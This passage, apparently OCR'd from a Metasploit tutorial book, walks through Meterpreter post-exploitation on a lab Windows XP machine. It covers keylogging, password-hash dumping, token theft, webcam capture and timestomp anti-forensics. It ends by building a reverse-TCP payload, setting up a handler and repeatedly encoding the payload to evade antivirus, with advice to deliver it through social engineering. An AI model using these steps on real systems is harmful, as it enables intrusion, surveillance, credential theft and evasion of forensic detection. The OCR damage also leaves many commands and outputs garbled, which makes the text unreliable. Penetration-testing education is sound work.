3.Stdapi :File sytem commands
4.Stdapi :User interface commands
5.Stdapi :Networking commands
6.priv commands

Some of these commands are self explanatory, you can easily understand
those commands by reading the description.l will leave those commands as an exercise
to you.l will highly recommend you to read the book "Introduction to the command
line(Second Edition):The fat free guide to Unix and Linux Commands" to become familiar
in linux Operating system.This book gives you a good knowledge on linux commands and
how to use them efficiently.



1) Core commands:

Core Commands

Cescription

7 Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script
bglist Lists running background scripts

bgrun Executes a meterpreter script as a backgraund thread
channel Cisplays information about active channels
close (loses a channel

disable unicode encoding Disables encoding of unicode strings
enable unicode encoding Enables encoding of unicode strings

exit Terminate the meterpreter session

help Help menu

info Displays dnformation abeut®a”Rost™module
interact Interacts with, a channel

irb Drop inmto 1rb Scripting mode

load Load one or more meterpreter extensions
migrate Migrate the server to another process

quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
use Deprecated alias for 'load’

write Writes data to a channel

2) System Commands:

clearev Clear the event log

drop token Relinquishes any active impersonation token,

execute Execute a command

getpid Get the current process identifier

getprivs Attempt to enable all privileges available te,the current pracess
getuid Get the user that the server is running as

kill Terminate a process

ps List runming=processes

reboot Rebgots the' remote complter

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer

steal token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as 05




3) File system commands:

Read the contents of a file to the screen
Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change fdocal workipng directory
Lpwd Print Loecal»werkingdirectory
ls | ist files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
Search for files

4) User interface and webcam commands

Stdapi: User interface Commands

Command Description

enumdesktops List all accessible desktops and windew-stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user haswbeen idle
keyscan dump Dump the keystroke buffer

keyscan start Start capturing keystrokes

keyscan stop Stop capturing keystrokes

screenshot Grab @ screenshot of the interactive desktop

setdesktop Change; the meterpreters current desktpp

uictl Control=some, of~the  user =interfage components

Stdapi: Webcam Commands

Command Description

webcam list  List webcams
webcam snap Take a snapshot from the specified webcam




5)Networking commands:

Stdapi: Networking Commands

Display the host ARP cache
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
route View and modify the routing table

6)Priv commands

Priv: Elevate Commands

getsystem Attempt to elevate your privilege to_that of\local system.

Priv: Password database Commands

Command Description

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

Command Description




1)Core commands:Core commands are basic meterpreter commands.

1)Background:This commands are used to background a meterpreter session and we
will come back to the exploit module.

To view the available sessions "sessions -I"

To interact with the seesion we have to use "sessions -i 'session id'

eg: sessions -i 1

meterpreter > background
[*] Backgrounding session 2...
msf exploit(ms8 ) > sessions -1

Active sessions

Information €onnection

2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ KALEEM-27A12BDC 192.168.217.133:445
19?2.168.217.131:1060 (192.168.217.131)
msf exploit( ) sessians =i
Invalid session 1id
msf exploit( Ji> sessions -1 2
: Sttt i

2)bgrun:This command is used to execute a meterpreter script as the background
process.

meterpreter > bgrun
Usage: bgrun <script> [arguments]

Executes a ruby script ing the contexi of the meterpreterysession.
meterpreter > Scraper is the name of the script which runs in the background
[*] Executed Metegpreter wit

meterpreter > [*] New session on : :

[*] Gathering basic system information...

*] Dumping password hashes...

*] Obtaining the entire registry...

*] Exporting HKCU

Downloading HKCU (C:\WINDOWS\TEMP\kbYocfxs.regq)

3

*

Exporting HKLM
Downloading HKLM (C:\WINDOWS\TEMP\xzBGeUuQ. reg)

*

|
[#]

Tl

[*]

[*] Cleaning HKCU
| *]

[*]




3)info:lt gives the descriptiona about selected post exploitation module
Usage: inof module name.

meterpreter > info post/windoﬁs/gather/enum_tokens

Name: Windows Gather Enumerate Domain Admin Tokens=(Ioken Hunter)
Module: post/windows/gather/enum tokens
Version: 16004
Platform: Windows
Arch:
Rank: Normal

Provided by:
Joshua Abraham <jabra@napid7.com>

Description:
This module will identify systems that have a Domain Admin
(delegation) token on them. The module will first check if
sufficient privileges are present for certain actions, and run
getprivs for system. If you elevated privs to system, the
SeAssignPrimaryTokenPrivilege will not be assigned, in that case try
migrating to another process that is running as system. If no
sufficient privileges are available, the script will not continue.

4)migrate:It migrates to another process.We have to migrate to another process because
the victim might close the process which meterpreter binds.So we have to migrate to
system processess.

Usage: migrate "process id"
eg:migrate 12212

meterpreter > migrate 12212
[*] Migrating to 12212...
[*] Migration completed successfully.

meterpreter > getpid
Current pid: 12212

5)use : This command is used to load a particular extension into the framework.It is like
the load command in metasploit.
Usage: use espia

reter > use espia

Loading extenslion espia...success.



6) run: This command is used to run a meterpreter script.
Usage:run script name
eg: run checkvm

meterpreter > run checkvm
[*] Checking if target is a Virtual Machine

[*] This 1s a VMware Virtual Machine

7)irb:This command is used to drop into a ruby shell where we can create ruby based
scripts.

meterpreter > irb
[*] Starting IRB shell

[*] The 'client' variable holds the meterpreter client

8)Channel commands:Channels are very useful to execute our commands on the target
system.The communication in the channels are encrypted.we can read,write and interact
with the channels.

To create a channel we have to use execute command.

Usage :execute -f explorer.exe -c

Usage: execute -f file [options]
Executes a command on the remote machine.
OPTIONS:

-H Create the process hidden from view.

-a <opt> The arguments to pass to the command.

-C Channelized I/0 (required for interaction).
<opt> The 'dummy' executable to launch when using -m.
<opt> The executable command to run.

Help menu.

Interact wisth the process after creating igt.
Execute proeess~on she meterpreters scurpent gdesktop
Exegute, from memory.

<opt> Execute process 1n a gilven $ession as the session “user
Execute process with currently impersonated thread token

meterpreter > execute -f explorer.exe -c
Process 12212 created.

Channel 24 created.

meterpreter > execute -f explorer.exe -c
Process 10376 created.

Channel 25 created.




channel -I: To view the list of channels.

meterpreter > channel -1

Type

stdapi process
stdapi process

Channel -w :To write data into a particular channel we will use this commnad.

Usage: channel -w 2(1 is the channel number)

meterpreter > channel -w 2
Enter data followed by a '.' on an empty line:

ping 192.168.217.131

channel -r :To reda data from a particular channel.

Usage: channel -r 2

meterpreter > channel -r 2
Read 104 bytes from 2:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Interact: This command is used to interact with a particular channel

Usage: interact 2

meterpreter > interact 2

Interacting with channel 2...




File system commands:

1)pwd:It displays the print working direcory and 'cd' command is used to change the

directory.

C:\WINDOWS\system32
meterpreter > cd c:\\

2)Is: To list the files in a directory.

meterpreter > ls

Listings:: e

100777/ X rwx rwx
100666/ rw-rw-rw-
AR777/ rwXrwxrwx
1po444/r--r--r--
100444/r--r--r--
180555/ r-xr-xr-x
48555/ r-» :
40777/ rw:
40777/ rw
40777/ rws

40777/ rwxrwxrwx
100666/ rw-rw-rw-
100666/ rw-rw-rw-
100666/ rw-rw-rw-
40777/ rwxrwxrwx
100666/ rw-rw-rw-
100666/ rw-rw-rw-

w

s
LI |
LI 1]

bt |
L
=]
=

M) el et
=

]

OO RrRNNOOODDOODODOEO DO OO

Last modified

2012-07-26
2012-07-26
2012-10-11
2012-07-26
2012-07-26
2004-08-04
2012-12-18
2012-10-11
2012-07-26
2012-07-26
2012-10-04
2012-07-26
2012-12-19
2012-12-19
2012-08-12
2012-10-11
2012-10-11

1334

13+

13:__:,
153
1892

18

13:5

19:
17:
13

09:35
©9:3
15:26:

L
17

40 +0530

+05380
+8530

0 +8536
0 +0530

+H9538
+0330
+0530

5 +0530

+0530

0 +8530

+0530

140 +0530

+085360
+0530
+0530

8 +0530

Name

AUTOEXEC: BAT

CONFIG.SYS

Documents and Settings

10.5Y5
MSDOS . 5YS

NTDETECT«CQM
Pregram Files

RECYCLER

System Volume Informatio

WINDOWS

avi
boot.ini

credit card.txt
email password.txt

hhh
kalee, txt

kaleemmmm.txt




3)cat:This command is used to read the contents in a file.In 'ls' you can find two files
namely credit card and email password.l intentionally created them, to demonstrate
how awful it is to save confidentendial inforamation without encrypting.

meterpreter > cat c:\\emailpassword.txt
| kaleemshaikl234@gmail.com
@#$kaleem.3

kaleemshaikyahoo@yahoo.com
$%yahooometerpreter >

kaleemshaikl234@gmail.com
@#%kaleem.3

kaleemshaikyahoo@yaheosecom

password  $%yahOeometerpreter >
meterpreter > cat c:\\creditcard.txt
card no

1234 6756 8976 4321

So do not save your confidential information into text files and do not write passwords
any where.If you want to write,then encrypt those files.True encrypt is a good software
to encrypt any kind of files.



4)download:You can also download those files using this command.

Usage : downlaod file path

eg: download c:\\creditcard.txt
meterpreter > download c:\\creditcard.txt

[*] downloading: c:\creditcard.txt -> creditcard.txt

[*] downloaded : c:\creditcard.txt -> creditcard.txt
meterpreter > |

5)upload:You can upload your backdoors into the target system.

Usage: upload source destination
eg: upload /root/payload.exe c:\\

meterpreter > upload -h
Usage: upload [options] srcl src2 src3 ... destination

Uploads local files and directories to the remote machine-

OPTIONS:

-h Help banner.

-r Upload recursively.

meterpreter > upltead™/root/payload.exe c:\\

[*] uploading : /root/payload.exe -> c:\

[*] uploaded : /root/payload.exe -> c:\\payload.exe
meterpreter > |




Search:This command is used to search files in a folder or drive.We can also specify the
type of file to search eg. Doc,txt,pdf

Usage: search -d c:\\ -f *.txt-r

Found 138 results...

ci\creditecard.txt {71 bytes)

c:\emailpassword.txt (122 bytes)

c:\Documents and Settings\Administrator\ApplicationData\Microsoft\Internet Explorer\|
rndlog.txt (5947 bytes)

c:\Documents and Settings\Administrator\Local Settings\Temp\00001322\manifest.txt (919
bytes

c:\Dacuments and Settings\Administrator\Local Settings\Temp\AUCHECKLPARSER.txt (221 by
tes)

c:\Documents and Settings\Administrator\Local Settings\Temp\dd netfx20MSI177F.txt (50f
7920 bytes)

c:\Documents Settings\AdministratpriLocal Settings\Temp\dd netfx20UI177F.txt (1744
® bytes)

c:\Documents Settings\AlLl. Users\Applicatian, Data\VlwareXVNware Tools\manifest.txt
(1762 bytes)

c:\Dacuments and Settings\All Users\Application Data\VMware\VMware Tools\Unity Filter{
\adobeflashcs3.txt (1433 bytes)

c:\Documents ttings\All Users\Application Data\VMware\VMware Tools\Unity Filters

2ty 712 '

mkdir,rmdir:_ To make a directory we use 'mkdir' command.To remove a directory we
use 'rmdir' command.

Usage : mkdir kaleem
Usage: rmdir kaleem

meterpreter > mkdir kaleem
Creating directory: kaleem

meterpreter > rmdir kaleem
Removing directory: kaleem




Networking commands:

1)arp: To display the host arp cache and host information.

meterpreter > arp

Interface

192168211 .2 00:50:56:e7:09:5f
192.168.217.133 00:0c:29:05:9e:d9

meterpreter > |}

2)ipconfig:It used to display the remote host ipaddress.
ipconfig

: MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 7 .0. 8T
IPv4 Netmask : 255.0.0.0

Interface 65539

: AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
: B0:0c:29:73:67:81
1010

IPv4 Address : 192.168.217.131

IPv4 Netmask : 255.255.255.0



Netstat:It is used to display the network statistics.

File Edil View Terminzl Help

meterpreter > netstat

Connection list

Local address Remote address

LISTEN
LISTEN
LISTEN
LISTEN

3 872/tlnts
H | LISTEN

¥

¥

.

*

968/svcho
4/5ystem
864/svcho
1924/mets
2508/alqg.
1092/jqs.
4/System
1944/sqls
28736/svc
1066/svch
10660/svch
1688/ jusc
7212/jusch
148/sqlbri
696/1sass@

LTSTEN
LISTEN
LISTEN
b LISTEN

D OO0

D000 O000
DO DOODOD
DO OO0 0O

(=]

192.168.217.133:443 SYN SENT
192.168.217.133:4444 ESTABLISHED
192.168.217.133:4444 ESTABLISHED
23.57.208.60:443 CLOSE WATT
23.57.208.60:443 CLOSE WATT
6.0.0.8:%

0.0.0.0:*

500 o N 980 T S0 o BT W o 8 o W1 o RS

+ +++++ e+ttt
TOUUDO D00 OO OO

8]

o clloBololololololonellofoNolll ool

Route:lt is used to display the routing table information.This command is very useful in
pivoting concept.

Usage :route -h

meterpreter > route -h
Usage: route [-h] command [args]

Display or modify the routing table on the remote machine.
Supported commands:

add [subnet] [netmask] [gateway]

delete [subnet] [netmask] [gateway]

list
meterpreter > route list

IPv4 netwark routes

Metric TInterface

: ; 22
.0 00,
. : . ARG . 20 131
20 I .255.. 255", 255 : ]|
217255 : 285255 : 215 A3
20 F3
J 31




System commands:

sysinfo:This command is used to view the target system information.

meterpreter > sy51nf0
KALEEM-27A12BDC
: Windows XP (Build 2600, Service Pack 2).
Architecture : X86
System Language : en US
x86/win32

Ps:This command is used to display the process running in the target system.

meterpreter = ps

Process List

Arch Session User
[Cy tem Process] 429496729
g System x86 0 NT AUTHORITY\SYSTEM
684 VMUpgradeHelper.exe x86 0 NT AUTHORITY\SYSTEM
gram Files\VMware\VMware Tools\VMUpgradeHelper.exe
148 684 sglbrowser.exe x86 ¢ NT AUTHORITY\NETWORK SERVICE
gram Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe
396 684 vintoolsd.exe X806 0] NP AUTHORITYASYSTEM
gram Files\VMware\VMware Tools\vmtoolsd.eke
552 4 SMSS ., exe x86 0 NT AUTHORITYASYSTEM
mRoot\System32\smss.exe
616 552 CSrss.exe x86 6 NT AUTHORITY\SYSTEM
\WINDOWS\system32\csrss.exe
540 552 wlnloqon exe %8 3 NT AUTHORITY\SYSTEM
\WINDOWS\system32\winlogon.exe
684 640 services.exe X ] NT AUTHORITY\SYSTEM
DﬂwJ~w,wTPmJ services.exe
ﬁin 1 5Q55 . exe X8 8 NT AUTHORITY\SYSTEM

N A}

getpld Th|s command is used to view the current process .

meterpreter > getpid

Current pid: 1072

getuid:This command is used to view the current user.

rpreter > getuid

Server username: NT AUTHORITY\SYSTEM



Reboot:This command is used to reboot the our target system.
Shutdown:This command is used to shutdown the remote system.

Shell:This command is used to drop a shell in the remote system.

meterpreter > shell
Process 48160 created.
Channel 8 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Token impersonation:

Token impersonation is a very important concept in meterpreter.Windows
token are just like web "cookies". They are like temporary keys which just hold an object
security inforamtion for the entire login that they do not have to provide their
credentials each time when accessing a file or an object.There are two types of tokens
available
1)Delegation token
2)impersonate token

1)Delegation token:Delegation tokens are used for interactive login such as logging into
our windows machine and connceting to remote desktop.

2)Impersonate token:lmpersonate tokens are used for non-interactvie logins like
connecting to a network drive.

Tokens can be availabe to us untill reboot.When the user logsoff from the system,
delegation token became impesonate token but it has the all the rights just like
delegation token.

We will use 'incognito' extension to steal and impersonate windows token.You can find
much about token in below pdf link.

http://labs.mwrinfosecurity.com/assets/142/mwri security-implications-of-windows-
access-tokens 2008-04-14.pdf

First we have to load incognito extension into our meterpreter.


http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf

Usage: use incognito

To view availabe tokens you can use below command.

Usage:list_tokens -u

meterpreter > list tokens -u

Delegation Tokens_ Available

KALEEM-27A12BDC\Administrator
NT AUTHORITY\LOCAL SERVICE

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON

meterpreter >

You can see 4 delegation tokens and 1 impersonate token are availabe .Quickly check
who we are using 'getuid' command.

Usage: getuid

meterpreter > getuld

Now | am logged as a NT AUTHORITY\SYSTEM.Now i am going to impersonate as other
user.



Impersonate:

You can see in delegation tokens KALEEM-27A12BDC\ADMINISTRATOR token
availabe.Now i am going to impersonate like that user.

Usage: impersonate token name

eg: impersonate KALEEM-27A12BDC\\ADMINISTRATOR

You can see i impersonated as KALEEM.you can see user user id using 'getuid' command.
meterpreter > impersonate token KALEEM-27A12BDC\\Administrator
[+] Delegation token available

[+] Successfully impersonated user KALEEM-27A12BDC\Administrator

meterpreter > getuid
Server username: KALEEM-27A12BDC\Administrator

Steal token:

You can steal token from other users.
Usage: steal process id
eg: steal 1234

meterpreter > steal token 1724

Stolen token ﬂgth username: KALEEM-27A12BDC\Administrator

drop token:
You can drop token to get back.You can see in the below picute,first | impersonate
as kaleem and | used drop token command to get back to NT AUTHORITY.

Usage: drop_token

meterpreter > impersonate token KALEEM-27A12BDC\\Administrator
[+] Delegation token available

[+] Successfully impersonated user KALEEM-27A12BDC\Administrator
meterpreter > getuid

Server username: KALEEM-27A12BDC\Administrator

berver username: NT AUTHORITY\SYSTEM
meterpreter > [




rev2self:
This command is also used to get back to the old user.
Usage:rev2self

meterpreter > rev2self
meterpreter > getpid
Current pid: 1072

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

getprivs: This command is used to get all the available privileges on the victim machine.

meterpreter > getprivs

SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleRrocessPrivillege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege




User interface and web cam commands:

idletime: This is used to view how long our victim is away from the system,meaning he
doesnot interact with keyboard or mouse.

meterpreter > idletime

User has been idle for: 27 mins 41 secs

Keylogging:

All of us very are curious about what the victim is typing in his system and how to
recored all those keystrokes.Metasploit developers have done a great job to write an in-
built keylogger.We can monitor all the keystrokes typed by our victim.

Ther are 3 commands available in meterpreter.

keyscan_start: To start a keylogger on the victim machine.

keyscan_dump: To dump all the keystrokes typed by our victim.
keyscan_stop:To stop the keylogger on the victim's system.

| performed all these commands on my victim machine(windows xp).You can view them
in the below picture.

meferprefer > keyscan start

Starting the keystroke sniffer...

eterpreter > keyscan dump

Dumping captured keystrokes...

<Alt> <LMenu> <Alt> <LMenu> dgmail <Ctrl> <RCIrT5~<Return> alemshaikl234 <Tab> 1234
67 <Alt> <Ctrl> <BMenu> <RCtrl>

eterpreter > keyscan dump

Dumping captured keystrokes...
<LWin> rnote <Down> <Return> Hai 1 am prp <Back> eparing a @ocument <Alt> <RMenu> <(Ct
1> <RCtrl>

meterpreter > keyscan stop
Stopping the keystroke sniffer. /.
meterpreter > |

Even it can record alt,ctrl,shift all keys.It is a very powerful command.



Uictl:This command is used to control the victim's keyboard and mouse.We can disable
their keyboard or mouse remotely.

Usage :uictl enable\disable keyboard\mouse.

sable] [keyboard/mouse]

able ki

Screenshot:

We can grab screen shots of our victim's machine.We can view what the victim is
viewing.You can see my windows machine desktop here.

Usage: screeenshot
m -'__|
ck: w]mln'!pzaﬂs-u.jpeg

S 3

=] T=rminal ] Terminal | W3mtrp2s05-0,jpeg



Webcam commands:

Another interesting commands are webcam commands.You can view the victim
remotely.l do not have a webcam in my laptop(i am using a pretty old one).You can try
this command in your system.

There are two commands are available.

1)webcam_list: To view list the list of webcams.
Usage:webcam_list

2)webcam_snap:To take the snap shot of our victim.
Usage:webcam_snap

meterpreter > webcam list
meterpreter > webcam snap

[¥] Starting...
webcam start: Operation failed: The system cannot find the file specified.

| L b

I have got an error because | do not have a webcam on my laptop.It will work if you have
one on yours.

Priv commands:

These commands are used to escalate privileges and to get all the available previleges on
the victim machine.

Getsystem: This command is used to get privileges on the victim system.

Usage: getsystem

meterpreter > getsystem
...got system (via technique 1).

hashdump:This command is used to dump all the hashed passwords from the victim
system.

meterpreter > hashdump
Administrator:500:aad3b435b51404
Guest:501:aad3b435h51404eraad3b435b51404e0: 31d6cfedd16ae931b73¢59d7~AcA89ch: : ;

HelpAssistant:1000:d4459b1edd65ef09p730e85c82b5d2¢1:a861792700075¢5120b895b2¢f3d716e: : :
SUPPORT 388945a0:1002:aad3b435b51404eeaad3b435b51404ee : bbBBY747dabTeb9147bb1755083ef4al:

You can use crack the hashed passwords using psexec exploit or jtr_crack_fast.



timestomp(anti forensic tool):

When we are conducting a pentest on the victim's system,we may access
their filesystem.If any forensic investigation,they will easily detect that the system has
been compromised.The best way to avoid forensic detection is not to access our victim's
file system.So we will use meterpreterlt completely resides in the memory and does not
write any data on the disk.However, in most of the cases we will interact with the file
system.

Then we have to use 'timestomp’' ,a great tool to avoid forensic detection.By
using this tool we can escape from forensic investigation.By using this tool,one can
change the MAC(modified,access,creation)attributes of a file.

You can view various options by typing 'timestomp -h' command.

Usage: timestomp -h

meterpreter > timest omp

timestomp file path OPTIONS

Set the "last accessed" time of the file

Set the MAGE timestamps so that EnCase shows blanks
Set _the,"creationt iimegof the= file

Setathey, "mft entry ‘modified! time of the fite

Set the MACE of attributes gqual to the supplied file
Help banner

Set the "last written" time of the file

Set the MACE timestamps recursively on a directory
Display the UTC MACE values of the file

Set all four attributes (MACE) of the file

Set the creation time of a file :
We can set our own creation time to a file.To do this use '-c' option.
Usage: timestomp path of the file -c "MM/DD/YYYY HH:MM:SS"

Eg: timestomp c:\\creditcard.txt -c "08/20/1970 12:12:12"

rpreter > timestomp :\\creditcard.txt -¢ "08/20/1970-12+12; 12"

[¥] Setting specific MACE attributes on c:\creditcard. txt



Set the modificaiton time of a file:
We can set the modification time of a file.To do this use '-m' option.

Usage:timestomp path of the file -m "MM/DD/YYYY HH:MM:SS"

Eg: timestomp c:\\creditcard.txt -m "09/12/2015 12:13:24"
meterpreter > timestomp c:\\creditcard.txt -m "09/12/2015 12:46:56"
[¥] Setting specific MACE attributes on c:\creditcard.txt
meterpreter > timestomp c:\\creditcard.txt -v
11 : 2015-09-12 12:46:56 +0530 memmfzzees You can see the modified time

: 2012-12-20 23:07:02 +0530
: 1970-08-20 12:12:12 +0530 eemgmme- You can see the created time
Entry Modified: 2012-12-19 19:17:22 +06530

Set the accessed time of a file:

We can set the accessed time of a file.To do this use '-a' option.
Usage :timestomp path of the file "MM/DD/YYYY HH:MM:SS"

Eg:timestomp c:\\creditcard.txt "09/18/1999 12:46:45"
meterpreter > timestomp c:\\creditcard.txt -a "09/18/1999 12:46:56"
[*] Setting specific MACE attributes on c:\creditcard.txt
meterpreter > timestomp c:\\creditcard.txt -v

1f] : 2015-09-12 12:46:56 +0530

: 1999-09-18 12:46:56 +0530mmemss v, can see the accessed time
: 1970-08-20 12:12:12 +0530
Entry Modified: 2012-12-19 19:17:22 +0530

Il U >



To display MAC attributes:
Use '-v' option to display all attributes.
Usage:timestomp path of the file -v

Eg: timestomp c:\\creditcard.txt -v

2012-12-19 09:35:40
2012-12-20 23:07:02

: 1970-08-20 12:12:12
Entry Modified: 2012-12-19 19:17:22

] ) =

To set existing file attributes:

We can set already existing file attributes to a our specified file. To do this use
'-f' option.In the below example i specified 'ntldr’ file attributes to my file.

Usage: timestomp path of our file -f path of existing file

Eg: timestomp c:\\creditcard.txt -f c:\\ntldr

meterpreter > timestomp c:\\creditcard.txt -f c:\\ntldr

[*¥] Setting MACE attributes on c:\creditcard.txt from c:\ntldr
meterpreter > timestomp c:\\creditcard.txt -v

Modified : 2004-08-04 17:30:00 +0530

: 2012-07-26 19:15:44 +0530
: 2004-08-04 17:30:00 +0530
Entry Modified: 2012-07-26 19:17:09 +0530




Chapter Seven
Metasploit Utilities

Metasploit comes with two utilities to genearate shellcode and to evade anti-
virus detection.Using these utilities we can stealthily do the exploitation.
There are two types of utilities

1.Msfpayload
2.Msfencode
1.Msfpayload:

Using msfpayload we can generate shellcode executables,and we can use that
shellcode outside the framework.We can generate payload according to our format.we
can create C,Ruby,Javascript and exe many types of formats.

Step 1:
Usage : msfpayload -h
:~# msfpayload -h

Usage: /opt/metasploit/msf3/msfpayload [<optians>] <payload> [var=val] <[S]ummary|C
aw|[J]s|e[X]e|[D]LL|[V]BA][W]ar>

OPTIONS:

-h Help banner
-1 List available payloads

step 2:
To view various options to fill.

:~# msfpayload windows/meterpreter/reverse tcp O

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse tcp
Version: 14774, 15548, 14976
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal

Provided by:
skape <mmiller@hick.org>
st <stephen fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>

Basic options:
Name Current Setting Required "Description

Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port

Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective D1l Injection payload (staged)




Usage: msfpayload windows/meterpreter/reverse_tcp O

step 3
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.217.133 LPORT=445
X> payload.exe

-4 s fpayload windows/meterpreter/reverse tep LHOST=192.168.217.133 LPORT=1234 X > payload exe
(reated by msfpayload (http://ww.netasploit.con)
Payload: wLndows/meterpreter/reverse tep

Length: 296
Options: {°LHOST'=>"192.168.217.133", "LPORT"=>'1234")

Here i filled the options LHOST AND LPORT and created .exe type payload.

Next i am going to use multihandler exploit to attack.
Step 4: multi handler exploit

1.use exploit/multi/handler

2.set payload windows/meterpreter/reverse_tcp

3.set LHOST 192.168.217.133

4.set LPORT 1234

5.exploit
send the created payload to the victim using some social engineering techniques and
when he opens that payload you will get the meterpreter shell.

msf > use exploit/multi/handler

msf exploit( »> set ' payload windows/meterpreter/reverse”tep
payload => windows/meterpreter/reverse tcp

smsf exploit( ) > set LHOST 192.168.217.133

LHOST => 192.168.217.133

msf exploit( Iler) > set LPORT 1234
LPORT => 1234
msf exploit( Iler) > exploit

[*] Started reverse handler on 192.168.217.133:1234
[*] Starting the payload handler...




Msfencode:

The payload which we have generated using msfpayload is fully functional and if
victim scans with the help of an antivirus,it could be detected.Antivirus softwares look
for signature to scan,so the shell code is detected by the antivirus.

To evade this , metasploit developers have done a great job to introduce a new
utility called msfencode.Using this we can encode our shell code with various encoders to
bypass antivirus detection.

Usage: /opt/metasploit/msf3/msfencode <options>
OPTIONS:

<opt> The architecture to encode as
<opt> The list of characters to avoid: '\xG0\xff"
<opt> The number of limes Lo encode Lhe dala
<opt> Specify the directory in which to look for EXE templates
<opt> The encoder to use
Help banner
<opt> Encode the contents of the supplied file path
Keep template working; run payload in new thread (use with -¥)
List available encoders
<opt> Specifies an additional modulle search path
Dump encoder inféfmation
<opt> The dulpufifile
<opt> The platform to encode “for
s <opt> The maximum size of the encoded data
-t <opt> The output format: raw,ruby,rb,perl,pl,bash,sh,c,js be,js le,java,dll, exe,exe-sI
,vba,vba-exe,vbs,loop-vbs,asp,aspx,war,psh, psh-net
Increase verbosity
X <opt> Specify an alternate executable template

] — A O BELm O

Usage :msfencode -h
There are different kind of options available to use.
Important options

=C =====eemem=ea- means count how many no. of times we are encoding
eg:-c5 ------- means i am encoding 5 times.

R Name of the encode we use
eg: -e x86/alpha_upper

=0----mmmmmmnen Give out file name
eg: -o payload.exe

B Type of format
eg: -traw

D Option to give alternative templete.
Eg: -x notepad.exe

-k----------- The given temple opens and our payload runs in new process.

Eg: -x notepad.exe -k
The victim is shown the notepad when he opens the file but that payload runs stealthily
on the background.



List of msfencoders :
Usuage: msfencode -I

—ft msTencode -1

Rank Description

cmd/generic sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs Low Generic ${IFS5} Substitution Cammand-Encoder
cnd/printf php mg manual printf(1) via-PHP magic qugles ULiliky Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XO0R Encoder
mipsle/Llongxor normal XOR Encoder
php/baseb4 great b4 Encoder
ppc/longxor normal PPC L R Encoder
ppc/longxor tag normal PPC LongXOR Encoder
sparc/longxor tag mopnal SPARC DWORD™XOR, Entoder
x64/¥or normal XOR Encoder
x86/alpha mixed Tow Alpha2 Alphanumeric Mixedcase Encoder
xB6/alpha upper Low Alpha2 Alphanumeric Uppercase Encode

‘avoid underscore tolower manual Avold underscore/tolower

oid utfB tolower manual Avoid UTF8/tolower
call4 dword xor normal Call+4 Dword XOR Encoder
context cpuid manual CPUID-based Context Keyed Payload Encoder
ntext stat manual tat(2)-based Context Keyed Payload Encoder

x86/context time manual ime(2)-based Context Keyed Payload Encoder
¥86/col normal
x86/fnstenv_mov normal
xB6/jmp_call additive normal Jump/Call XOR Additive Feedback Encoder

These are a list of available encoders .We can encode our payload using any of
the above encoders to evade antivirus detection.

The very good encoder is shikata_ga_nai it is a polymorphic encoder.



Step 3 : Encoding wiht msfencode

Usage: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.217.133
LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe > payload.exe

explanation about above command

92,168.217,133 LPORT=4444 R | mefencode -€ )

86/shikata g3 nal -t cxe spayload.exe
[*] 180/shikata ga nal succeeded with size 317 [iteratien-1)

msfpayload Command to generate payload

windows/meterpreter/reverse_tcp--- meterpreter payload

LHOST My backtrack system ip address
LPORT Port number to bind
R| 'R'means raw type of input,l used wiht pipe

symbol.This pipe symbol appends the
msfpayload output msfencode.

Msfencode Command to encode our payload

".e" is used to before the name of the

(1]

encoder.

shikata_ga_nai Name of the encoder.

-t exe "-t" is used to tell what type of extension
we are using.Here i am using .exe
extension.

> payload.exe output file name is payload.



Multi encoding with msfencode

Step 4:

Usage: msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.217.133
LPORT=444 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw | msfencode -e
x86/countdown -c 8 -t raw | msfencode -e x86/shikata_ga_nai -c 9 -t exe >payload.exe

Rle Edil View Terminal Help

=192.168.217.133 LPORT=444 R | msfencode -e x8
8 -t raw | msfenc - fshikata ga nai -

x86/shikata_ga_nai succeeded with size 317 (iteration=1)

x86/shikata ga nai succeeded with size 344 (iteration=2)
